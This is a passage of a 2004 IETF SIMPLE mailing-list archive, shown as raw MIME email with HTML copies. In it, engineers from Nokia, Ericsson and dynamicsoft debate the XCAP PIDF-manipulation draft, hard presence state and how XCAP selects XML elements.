      <P><FONT face=3D"Times New Roman">2) XCAP is meant to be used for =
documents=20
      that are created to take advantage of the defined XCAP rules for =
HTTP URI=20
      creation. Which XML presence documents in particular are you =
proposing=20
      that they get manipulated by XCAP.&nbsp; </FONT></P>
      <P><FONT face=3D"Times New Roman">How do you ensure that the =
current XCAP=20
      rules are suffiicient for the purpose you have in mind. I also =
doubt that=20
      you can use the current XML presence documents (PIDF and =
extensions) for=20
      XCAP purposes as is. For example, should there not be the element=20
      mandatory-ns, in there, as per the XCAP framework.</FONT></P>
      <P><FONT face=3D"Times New Roman">3) Is this template meant to be =
a generic=20
      template to be used by all applications that want to use =
XCAP.</FONT> </P>
      <P><FONT face=3D"Times New Roman">4) Finally, I believe that there =
are=20
      other, out-of-band means, to accomplish your goals, i.e. =
manipulate hard=20
      states, without the unwarranted complexities that the draft =
creates. Thus,=20
      there must be explicit references in the draft to that fact.&nbsp; =

      </FONT></P>
      <P><FONT face=3DArial size=3D2>/gf</FONT> <BR><FONT face=3DArial =
size=3D2>Ericsson=20
      Canada</FONT> </P><BR><BR>This communication is confidential and =
intended=20
      solely for the addressee(s). Any unauthorized review, use, =
disclosure or=20
      distribution is prohibited. If you believe this message has been =
sent to=20
      you in error, please notify the sender by replying to this =
transmission=20
      and delete the message without disclosing it. Thank =
you.<BR><BR>E-mail=20
      including attachments is susceptible to data corruption, =
interruption,=20
      unauthorized amendment, tampering and viruses, and we only send =
and=20
      receive e-mails on the basis that we are not liable for any such=20
      corruption, interception, amendment, tampering or viruses or any=20
      consequences thereof. </BLOCKQUOTE></BLOCKQUOTE><BR><BR>This =
communication is=20
  confidential and intended solely for the addressee(s). Any =
unauthorized=20
  review, use, disclosure or distribution is prohibited. If you believe =
this=20
  message has been sent to you in error, please notify the sender by =
replying to=20
  this transmission and delete the message without disclosing it. Thank=20
  you.<BR><BR>E-mail including attachments is susceptible to data =
corruption,=20
  interruption, unauthorized amendment, tampering and viruses, and we =
only send=20
  and receive e-mails on the basis that we are not liable for any such=20
  corruption, interception, amendment, tampering or viruses or any =
consequences=20
  thereof. </BLOCKQUOTE></BODY></HTML>

------_=_NextPart_002_01C400C6.722849DA--

------_=_NextPart_001_01C400C6.722849DA
Content-Type: message/rfc822
Content-Transfer-Encoding: 7bit

x-mimeole: Produced By Microsoft Exchange V6.0.6487.1
Received:  from esebe009.NOE.Nokia.com ([172.21.138.41]) by esebe018.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6747); Wed, 25 Feb 2004 18:19:42 +0200
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_003_01C3FBBB.2C77A300"
Received:  from esebh002.NOE.Nokia.com ([172.21.138.77]) by esebe009.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6747); Wed, 25 Feb 2004 18:19:41 +0200
Received:  from esdks003.ntc.nokia.com ([172.21.138.158]) by esebh002.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6747); Wed, 25 Feb 2004 18:19:40 +0200
Content-Class: urn:content-classes:message
Subject: Re: [Simple] Update to xcap package
Date: Wed, 25 Feb 2004 18:14:25 +0200
Message-ID: <403CC9E1.1010505@dynamicsoft.com>
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
Thread-Topic: [Simple] Update to xcap package
Thread-Index: AcP7uzifgnAOmWI/TX2m8KKI5/UGxQ==
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,<mailto:simple-request@ietf.org?subject=subscribe>
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,<mailto:simple-request@ietf.org?subject=unsubscribe>
From: <jdrosen@dynamicsoft.com>
Sender: <simple-admin@ietf.org>
To: <joel@stevecrocker.com>
Cc: <simple@ietf.org>

This is a multi-part message in MIME format.

------_=_NextPart_003_01C3FBBB.2C77A300
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable


Joel,

You are mostly right. However, we already have a spec in place which=20
proposes XCAP modification of a document not originally designed for =
xcap:

http://www.ietf.org/internet-drafts/draft-isomaki-simple-xcap-pidf-manipu=
lation-usage-00.txt

this one modifies PIDF.

In this case, I still think we're OK; tuples already have unique ID=20
elements, and within a tuple you usually won't see repeats of the same=20
element, I dont think.

That said, I don't think adding a bit more expressive selection=20
capabilities HURTS per se.

-Jonathan R.

Joel M. Halpern wrote:

> Thinking both about the "SIMPLE" case, and about other things that =
might=20
> use XCAP, I think this is a mistake.  XCAP is not about modifying=20
> arbitrary documents.  It is about modifying documents that have been=20
> designed to be used in conjunction with XCAP.  As such, it seems to me =

> perfectly reasonable to say that all repeated elements of all such=20
> documents must have uniquely identifying attributes.  In fact, such=20
> attributes are a good idea anyway.  (Otherwise, one amplifies the=20
> confusion associated with replacing keying material, for example.)
>=20
> Yours,
> Joel M. Halpern
>=20
> At 11:53 PM 2/24/2004 -0500, Jonathan Rosenberg wrote:
>=20
>> So, the question is - what kind of information do we want to allow=20
>> xcap to use to uniquely identify an element for deletion, insertion =
or=20
>> creation? Right now, the spec focuses on element names and =
attributes.=20
>> One would need to design one's schema to make sure that these existed =

>> as unique identifiers. It is easy to add any of the following:
>>
>> 1. text content
>> 2. names of child elements
>> 3. boolean operators (i.e., a child exists)
>> 4. existence of attributes
>>
>> Its just a complexity/flexibility trade off. I would be willing to=20
>> expand the scope of xcap a bit here; I suspect names of child =
elements=20
>> and text content might also be useful. If we start adding more and=20
>> more, we may as well go back to full xpath support and just reference =

>> the spec.
>=20
>=20
>=20
> _______________________________________________
> Simple mailing list
> Simple@ietf.org
> https://www1.ietf.org/mailman/listinfo/simple
>=20

--=20
Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
Chief Technology Officer                    Parsippany, NJ 07054-2711
dynamicsoft
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple

------_=_NextPart_003_01C3FBBB.2C77A300
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
6.0.6487.1">
<TITLE>Re: [Simple] Update to xcap package</TITLE>
</HEAD>
<BODY>
<!-- Converted from text/plain format -->
<BR>

<P><FONT SIZE=3D2>Joel,</FONT>
</P>

<P><FONT SIZE=3D2>You are mostly right. However, we already have a spec =
in place which </FONT>

<BR><FONT SIZE=3D2>proposes XCAP modification of a document not =
originally designed for xcap:</FONT>
</P>

<P><FONT SIZE=3D2><A =
HREF=3D"http://www.ietf.org/internet-drafts/draft-isomaki-simple-xcap-pid=
f-manipulation-usage-00.txt">http://www.ietf.org/internet-drafts/draft-is=
omaki-simple-xcap-pidf-manipulation-usage-00.txt</A></FONT>
</P>

<P><FONT SIZE=3D2>this one modifies PIDF.</FONT>
</P>

<P><FONT SIZE=3D2>In this case, I still think we're OK; tuples already =
have unique ID </FONT>

<BR><FONT SIZE=3D2>elements, and within a tuple you usually won't see =
repeats of the same </FONT>

<BR><FONT SIZE=3D2>element, I dont think.</FONT>
</P>

<P><FONT SIZE=3D2>That said, I don't think adding a bit more expressive =
selection </FONT>

<BR><FONT SIZE=3D2>capabilities HURTS per se.</FONT>
</P>

<P><FONT SIZE=3D2>-Jonathan R.</FONT>
</P>

<P><FONT SIZE=3D2>Joel M. Halpern wrote:</FONT>
</P>

<P><FONT SIZE=3D2>&gt; Thinking both about the &quot;SIMPLE&quot; case, =
and about other things that might </FONT>

<BR><FONT SIZE=3D2>&gt; use XCAP, I think this is a mistake.&nbsp; XCAP =
is not about modifying </FONT>

<BR><FONT SIZE=3D2>&gt; arbitrary documents.&nbsp; It is about modifying =
documents that have been </FONT>

<BR><FONT SIZE=3D2>&gt; designed to be used in conjunction with =
XCAP.&nbsp; As such, it seems to me </FONT>

<BR><FONT SIZE=3D2>&gt; perfectly reasonable to say that all repeated =
elements of all such </FONT>

<BR><FONT SIZE=3D2>&gt; documents must have uniquely identifying =
attributes.&nbsp; In fact, such </FONT>

<BR><FONT SIZE=3D2>&gt; attributes are a good idea anyway.&nbsp; =
(Otherwise, one amplifies the </FONT>

<BR><FONT SIZE=3D2>&gt; confusion associated with replacing keying =
material, for example.)</FONT>

<BR><FONT SIZE=3D2>&gt; </FONT>

<BR><FONT SIZE=3D2>&gt; Yours,</FONT>

<BR><FONT SIZE=3D2>&gt; Joel M. Halpern</FONT>

<BR><FONT SIZE=3D2>&gt; </FONT>

<BR><FONT SIZE=3D2>&gt; At 11:53 PM 2/24/2004 -0500, Jonathan Rosenberg =
wrote:</FONT>

<BR><FONT SIZE=3D2>&gt; </FONT>

<BR><FONT SIZE=3D2>&gt;&gt; So, the question is - what kind of =
information do we want to allow </FONT>

<BR><FONT SIZE=3D2>&gt;&gt; xcap to use to uniquely identify an element =
for deletion, insertion or </FONT>

<BR><FONT SIZE=3D2>&gt;&gt; creation? Right now, the spec focuses on =
element names and attributes. </FONT>

<BR><FONT SIZE=3D2>&gt;&gt; One would need to design one's schema to =
make sure that these existed </FONT>

<BR><FONT SIZE=3D2>&gt;&gt; as unique identifiers. It is easy to add any =
of the following:</FONT>

<BR><FONT SIZE=3D2>&gt;&gt;</FONT>

<BR><FONT SIZE=3D2>&gt;&gt; 1. text content</FONT>

<BR><FONT SIZE=3D2>&gt;&gt; 2. names of child elements</FONT>

<BR><FONT SIZE=3D2>&gt;&gt; 3. boolean operators (i.e., a child =
exists)</FONT>

<BR><FONT SIZE=3D2>&gt;&gt; 4. existence of attributes</FONT>

<BR><FONT SIZE=3D2>&gt;&gt;</FONT>

<BR><FONT SIZE=3D2>&gt;&gt; Its just a complexity/flexibility trade off. =
I would be willing to </FONT>

<BR><FONT SIZE=3D2>&gt;&gt; expand the scope of xcap a bit here; I =
suspect names of child elements </FONT>

<BR><FONT SIZE=3D2>&gt;&gt; and text content might also be useful. If we =
start adding more and </FONT>

<BR><FONT SIZE=3D2>&gt;&gt; more, we may as well go back to full xpath =
support and just reference </FONT>

<BR><FONT SIZE=3D2>&gt;&gt; the spec.</FONT>

<BR><FONT SIZE=3D2>&gt; </FONT>

<BR><FONT SIZE=3D2>&gt; </FONT>

<BR><FONT SIZE=3D2>&gt; </FONT>

<BR><FONT SIZE=3D2>&gt; =
_______________________________________________</FONT>

<BR><FONT SIZE=3D2>&gt; Simple mailing list</FONT>

<BR><FONT SIZE=3D2>&gt; Simple@ietf.org</FONT>

<BR><FONT SIZE=3D2>&gt; <A =
HREF=3D"https://www1.ietf.org/mailman/listinfo/simple">https://www1.ietf.=
org/mailman/listinfo/simple</A></FONT>

<BR><FONT SIZE=3D2>&gt; </FONT>
</P>

<P><FONT SIZE=3D2>-- </FONT>

<BR><FONT SIZE=3D2>Jonathan D. Rosenberg, =
Ph.D.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp; 600 Lanidex Plaza</FONT>

<BR><FONT SIZE=3D2>Chief Technology =
Officer&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Parsippany, NJ =
07054-2711</FONT>

<BR><FONT SIZE=3D2>dynamicsoft</FONT>

<BR><FONT =
SIZE=3D2>jdrosen@dynamicsoft.com&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp; FAX:&nbsp;&nbsp; (973) 952-5050</FONT>

<BR><FONT SIZE=3D2><A =
HREF=3D"http://www.jdrosen.net">http://www.jdrosen.net</A>&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; PHONE: (973) 952-5000</FONT>

<BR><FONT SIZE=3D2><A =
HREF=3D"http://www.dynamicsoft.com">http://www.dynamicsoft.com</A></FONT>=

</P>

<P><FONT SIZE=3D2>_______________________________________________</FONT>

<BR><FONT SIZE=3D2>Simple mailing list</FONT>

<BR><FONT SIZE=3D2>Simple@ietf.org</FONT>

<BR><FONT SIZE=3D2><A =
HREF=3D"https://www1.ietf.org/mailman/listinfo/simple">https://www1.ietf.=
org/mailman/listinfo/simple</A></FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_003_01C3FBBB.2C77A300--

------_=_NextPart_001_01C400C6.722849DA--

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Tue Mar  2 21:28:28 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA21878
	for <simple-archive@odin.ietf.org>; Tue, 2 Mar 2004 21:28:28 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyM77-0001wO-7d
	for simple-archive@odin.ietf.org; Tue, 02 Mar 2004 21:28:01 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i232S1De007452
	for simple-archive@odin.ietf.org; Tue, 2 Mar 2004 21:28:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyM76-0001w7-22
	for simple-web-archive@optimus.ietf.org; Tue, 02 Mar 2004 21:28:00 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA21834
	for <simple-web-archive@ietf.org>; Tue, 2 Mar 2004 21:27:56 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyM73-0000M4-00
	for simple-web-archive@ietf.org; Tue, 02 Mar 2004 21:27:57 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyM6B-0000Dv-00
	for simple-web-archive@ietf.org; Tue, 02 Mar 2004 21:27:06 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyM5G-00005w-00; Tue, 02 Mar 2004 21:26:06 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyM5D-0001a7-DM; Tue, 02 Mar 2004 21:26:03 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyM4G-0001Lt-KW
	for simple@optimus.ietf.org; Tue, 02 Mar 2004 21:25:04 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA21659
	for <simple@ietf.org>; Tue, 2 Mar 2004 21:25:01 -0500 (EST)
From: Markus.Isomaki@nokia.com
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyM4D-0007kh-00
	for simple@ietf.org; Tue, 02 Mar 2004 21:25:01 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyM3H-0007cq-00
	for simple@ietf.org; Tue, 02 Mar 2004 21:24:07 -0500
Received: from mgw-x3.nokia.com ([131.228.20.26])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyM2U-0007Uu-00
	for simple@ietf.org; Tue, 02 Mar 2004 21:23:14 -0500
Received: from esdks004.ntc.nokia.com (esdks004.ntc.nokia.com [172.21.138.159])
	by mgw-x3.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i232N9S27463;
	Wed, 3 Mar 2004 04:23:10 +0200 (EET)
X-Scanned: Wed, 3 Mar 2004 04:23:00 +0200 Nokia Message Protector V1.3.13 2004020314 - RELEASE
Received: (from root@localhost)
	by esdks004.ntc.nokia.com (8.12.9/8.12.9) id i232N0A8003235;
	Wed, 3 Mar 2004 04:23:00 +0200
Received: from mgw-int2.ntc.nokia.com (172.21.143.97)
	by esdks004.ntc.nokia.com 00r0Wj6E; Wed, 03 Mar 2004 04:22:59 EET
Received: from esebh003.NOE.Nokia.com (esebh003.ntc.nokia.com [172.21.138.82])
	by mgw-int2.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i232MxO04904;
	Wed, 3 Mar 2004 04:22:59 +0200 (EET)
Received: from esebe018.NOE.Nokia.com ([172.21.138.57]) by esebh003.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Wed, 3 Mar 2004 04:22:58 +0200
x-mimeole: Produced By Microsoft Exchange V6.0.6487.1
Content-Class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----_=_NextPart_001_01C400C6.722849DA"
Message-ID: <E392EEA75EC5F54AB75229B693B1B6A7054D5B24@esebe018.ntc.nokia.com>
X-MS-Has-Attach: yes
Thread-Topic: Comments on PIDF-Manipulation Usage-00draft  (was RE: Comments on draft-isomaki-simple-xcap-publish-usage-00)
Thread-Index: AcQAwlvys6ZqzWXIR2uiFTWeyeRuCAAAFygg
To: <george.foti@ericsson.com>, <simple@ietf.org>
X-OriginalArrivalTime: 03 Mar 2004 02:22:58.0188 (UTC) FILETIME=[718E1CC0:01C400C6]
Subject: [Simple] RE: Comments on PIDF-Manipulation Usage-00draft  (was RE: Comments on draft-isomaki-simple-xcap-publish-usage-00)
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 3 Mar 2004 04:22:59 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.8 required=5.0 tests=AWL,HTML_30_40,
	HTML_FONTCOLOR_BLUE,HTML_MESSAGE,NO_REAL_NAME autolearn=no 
	version=2.60

This is a multi-part message in MIME format.

------_=_NextPart_001_01C400C6.722849DA
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_002_01C400C6.722849DA"


------_=_NextPart_002_01C400C6.722849DA
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Hi,
=20
OK, this time I understood your points much better.
=20
Comments starting with [MI] inline:

-----Original Message-----
From: ext George Foti (QA/EMC) [mailto:george.foti@ericsson.com]
Sent: 03 March, 2004 03:52
To: Isomaki Markus (Nokia-NRC/Helsinki); simple@ietf.org
Subject: Comments on PIDF-Manipulation Usage-00draft (was RE: Comments =
on draft-isomaki-simple-xcap-publish-usage-00)


Sorry, I had the wrong draft in the subject, but I meant the PIDF =
Manipulation draft.
Comments inline/gf

-----Original Message-----
From: Markus.Isomaki@nokia.com [mailto:Markus.Isomaki@nokia.com]
Sent: Tuesday, March 02, 2004 8:24 PM
To: George Foti (QA/EMC); simple@ietf.org
Subject: RE: Comments on draft-isomaki-simple-xcap-publish-usage-00


Hi George,
=20
First of all, the document you are referring to has been updated with =
this one:
http://www.ietf.org/internet-drafts/draft-isomaki-simple-xcap-pidf-manipu=
lation-usage-00.txt
=20
I'll submit the WG version shortly after the meeting. The changes =
compared to the version you read are mainly clarifications, so I think =
your comments would apply to the new draft as well. My anwers to each =
point below:
=20
1) XCAP operations are hard state by nature, no refreshing is needed, so =
this is inherently hard state manipulation.=20
/gf=20
Agree, but how do you prevent users, from using XCAP from manipulating =
presence soft states.
I assume that all the presence tuples are part of the same presence =
document.=20
Now you are advocating selective manipluation of some tuples and not =
others using XCAP.
Have I misunderstood something here ?
How will you enforce that ?
gf/
=20
[MI] OK, I think I know what you mean. The model for how the final =
presence document is put together is shown in the draft in Chapter 3. =
First, a presentity can publish several PIDF documents using SIP =
PUBLISH. Then, she can have a single "hard state" PIDF document =
manipulated with XCAP. All of these can contain any number of tuples. =
All this is fed into magic called "event state compositor", which =
produces a single consistent presence document. The fact that the =
compositor logic has been left as implementation specific is a feature =
(or a deficiency) in SIMPLE, and this draft makes it no worse. I agree =
that there will be interoperability issues with how things with the =
composition definition are at the moment, but this draft does not cause =
the problem.
=20
 2) The default model I have in mind is that each presentity would have =
exactly one persistent device-independent presence document that would =
be manipulated by XCAP. That would be fed to the composition logic to =
complement the PUA/device-specific documents published using SIP PUBLISH =
mechanism. =20
XCAP is meant to be a generic XML-manipulation mechanism, so there =
should be nothing specific in this application usage. Once the base XCAP =
is finished, we'll see what the exact mechanisms to mandate supported =
namespaces are, and we'll adopt that convention in this draft too. This =
is probably still changing from xcap-02 draft, as was discussed in =
SIMPLE session. =20
=20
/gf
Not totally true
XCAP have a limited set of rules for HTTP URI creation.
So it is not meant for *any* XML document.
I think the XCAP framework is clear on that
You would need to expand those rules, which can complicate things quite =
a lot, not to mention slow things down, to make it more generic.=20
gf/=20
=20
[MI] I think you are right on this one, my previous statement was wrong. =
XCAP can have problems with handling *any* XML document, if the selector =
construction will be restricted to only limited number of possibilities. =
However, see Jonathan's mail attached to this mail. Based on this I =
assume PIDF would still be OK for XCAP as it is now.
=20
3) I'm not sure if I understood the question. This is not a template for =
any applications that want to use XCAP, this is standardizing how XCAP =
is used to manipulate PIDF-formatted presence documents. As there is no =
computed data or anything, I guess an app usage for any XML doc would be =
quite similar to this one.=20
=20
/gf
For event packages we have a template that have to be filled by for =
anyone who wants to create a new event package.
So I am asking if your document presents a template, similar to the =
event package approach. (forget about the content for your application)
I am not sure if I am clear on that one.=20
gf/=20
=20
[MI] OK, I got the question, thanks. Yes, we tried to follow the =
structure/template how Jonathan has defined the other existing XCAP =
application usages. So it should be according to how XCAP AUs are =
ssupposed to be specified.=20
=20
4) Surely there are many ways to manipulate PIDF documents. However, in =
context of SIMPLE, XCAP is a natural choice since it's needed already in =
any advanced presence-capable device. Could you explain what kind of =
complexities you mean? This is as simple an XCAP usage as there can be. =
Are you saying that XCAP in itself is complex? A more simple way would =
be to use just normal HTTP PUT and DELETE, but since we have XCAP at our =
disposal, why not use it.=20
=20
/gf
The complexities will arise if we allow users to do selective =
manipulation, using XCAP, for certain tuples *only*, and using PUBLISH =
for the remaining tuples.
So I need to see your answer first to my response to your first  bullet =
before I go further
 gf/=20
=20
[MI] As I explained above, you can already PUBLISH several documents and =
there has to be a way to do composition. So the complexity is already =
inbuilt in SIMPLE, it is not in this sense extended here.
=20
Markus

-----Original Message-----
From: ext George Foti (QA/EMC) [mailto:george.foti@ericsson.com]
Sent: 03 March, 2004 02:47
To: Isomaki Markus (Nokia-NRC/Helsinki); simple@ietf.org
Subject: Comments on draft-isomaki-simple-xcap-publish-usage-00




Hi Markus,=20

I have some comments on your draft:=20

1) Although you indicate that this should be used only for hard states, =
what is there to prevent users from manipulating other presence states =
in there through XCAP.

2) XCAP is meant to be used for documents that are created to take =
advantage of the defined XCAP rules for HTTP URI creation. Which XML =
presence documents in particular are you proposing that they get =
manipulated by XCAP. =20

How do you ensure that the current XCAP rules are suffiicient for the =
purpose you have in mind. I also doubt that you can use the current XML =
presence documents (PIDF and extensions) for XCAP purposes as is. For =
example, should there not be the element mandatory-ns, in there, as per =
the XCAP framework.

3) Is this template meant to be a generic template to be used by all =
applications that want to use XCAP.=20

4) Finally, I believe that there are other, out-of-band means, to =
accomplish your goals, i.e. manipulate hard states, without the =
unwarranted complexities that the draft creates. Thus, there must be =
explicit references in the draft to that fact. =20

/gf=20
Ericsson Canada=20



This communication is confidential and intended solely for the =
addressee(s). Any unauthorized review, use, disclosure or distribution =
is prohibited. If you believe this message has been sent to you in =
error, please notify the sender by replying to this transmission and =
delete the message without disclosing it. Thank you.

E-mail including attachments is susceptible to data corruption, =
interruption, unauthorized amendment, tampering and viruses, and we only =
send and receive e-mails on the basis that we are not liable for any =
such corruption, interception, amendment, tampering or viruses or any =
consequences thereof.=20



This communication is confidential and intended solely for the =
addressee(s). Any unauthorized review, use, disclosure or distribution =
is prohibited. If you believe this message has been sent to you in =
error, please notify the sender by replying to this transmission and =
delete the message without disclosing it. Thank you.

E-mail including attachments is susceptible to data corruption, =
interruption, unauthorized amendment, tampering and viruses, and we only =
send and receive e-mails on the basis that we are not liable for any =
such corruption, interception, amendment, tampering or viruses or any =
consequences thereof.=20


------_=_NextPart_002_01C400C6.722849DA
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<TITLE>Comments on draft-isomaki-simple-xcap-publish-usage-00</TITLE>

<META content=3D"MSHTML 5.50.4611.1300" name=3DGENERATOR></HEAD>
<BODY>
<DIV><SPAN class=3D182215601-03032004><FONT face=3DArial color=3D#0000ff =

size=3D2>Hi,</FONT></SPAN></DIV>
<DIV><SPAN class=3D182215601-03032004><FONT face=3DArial color=3D#0000ff =

size=3D2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=3D182215601-03032004><FONT face=3DArial color=3D#0000ff =
size=3D2>OK,=20
this time I understood your points much better.</FONT></SPAN></DIV>
<DIV><SPAN class=3D182215601-03032004><FONT face=3DArial color=3D#0000ff =

size=3D2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=3D182215601-03032004><FONT face=3DArial color=3D#0000ff =

size=3D2>Comments&nbsp;starting with [MI] inline:</FONT></SPAN></DIV>
<BLOCKQUOTE=20
style=3D"PADDING-LEFT: 5px; MARGIN-LEFT: 5px; BORDER-LEFT: #0000ff 2px =
solid">
  <DIV class=3DOutlookMessageHeader dir=3Dltr align=3Dleft><FONT =
face=3DTahoma=20
  size=3D2>-----Original Message-----<BR><B>From:</B> ext George Foti =
(QA/EMC)=20
  [mailto:george.foti@ericsson.com]<BR><B>Sent:</B> 03 March, 2004=20
  03:52<BR><B>To:</B> Isomaki Markus (Nokia-NRC/Helsinki);=20
  simple@ietf.org<BR><B>Subject:</B> Comments on PIDF-Manipulation =
Usage-00draft=20
  (was RE: Comments on=20
  draft-isomaki-simple-xcap-publish-usage-00)<BR><BR></FONT></DIV>
  <DIV><FONT face=3DArial color=3D#0000ff size=3D2><SPAN=20
  class=3D509473301-03032004>Sorry, I had the wrong draft in the =
subject, but I=20
  meant the PIDF Manipulation draft.</SPAN></FONT></DIV>
  <DIV><FONT face=3DArial color=3D#0000ff size=3D2><SPAN=20
  class=3D509473301-03032004>Comments inline/gf</SPAN></FONT></DIV>
  <BLOCKQUOTE dir=3Dltr=20
  style=3D"PADDING-LEFT: 5px; MARGIN-LEFT: 5px; BORDER-LEFT: #0000ff 2px =
solid; MARGIN-RIGHT: 0px">
    <DIV class=3DOutlookMessageHeader dir=3Dltr align=3Dleft><FONT =
face=3DTahoma=20
    size=3D2>-----Original Message-----<BR><B>From:</B> =
Markus.Isomaki@nokia.com=20
    [mailto:Markus.Isomaki@nokia.com]<BR><B>Sent:</B> Tuesday, March 02, =
2004=20
    8:24 PM<BR><B>To:</B> George Foti (QA/EMC);=20
    simple@ietf.org<BR><B>Subject:</B> RE: Comments on=20
    draft-isomaki-simple-xcap-publish-usage-00<BR><BR></FONT></DIV>
    <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial =
color=3D#0000ff size=3D2>Hi=20
    George,</FONT></SPAN></DIV>
    <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial =
color=3D#0000ff=20
    size=3D2></FONT></SPAN>&nbsp;</DIV>
    <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial =
color=3D#0000ff=20
    size=3D2>First of all, the document you are referring to has been =
updated with=20
    this one:</FONT></SPAN></DIV>
    <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial =
color=3D#0000ff size=3D2><A=20
    =
href=3D"http://www.ietf.org/internet-drafts/draft-isomaki-simple-xcap-pid=
f-manipulation-usage-00.txt">http://www.ietf.org/internet-drafts/draft-is=
omaki-simple-xcap-pidf-manipulation-usage-00.txt</A></FONT></SPAN></DIV>
    <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial =
color=3D#0000ff=20
    size=3D2></FONT></SPAN>&nbsp;</DIV>
    <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial =
color=3D#0000ff=20
    size=3D2>I'll submit the WG version shortly after the meeting. The =
changes=20
    compared to the version you&nbsp;read&nbsp;are mainly =
clarifications, so I=20
    think your comments would apply to the new draft as well. My anwers =
to each=20
    point below:</FONT></SPAN></DIV>
    <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial =
color=3D#0000ff=20
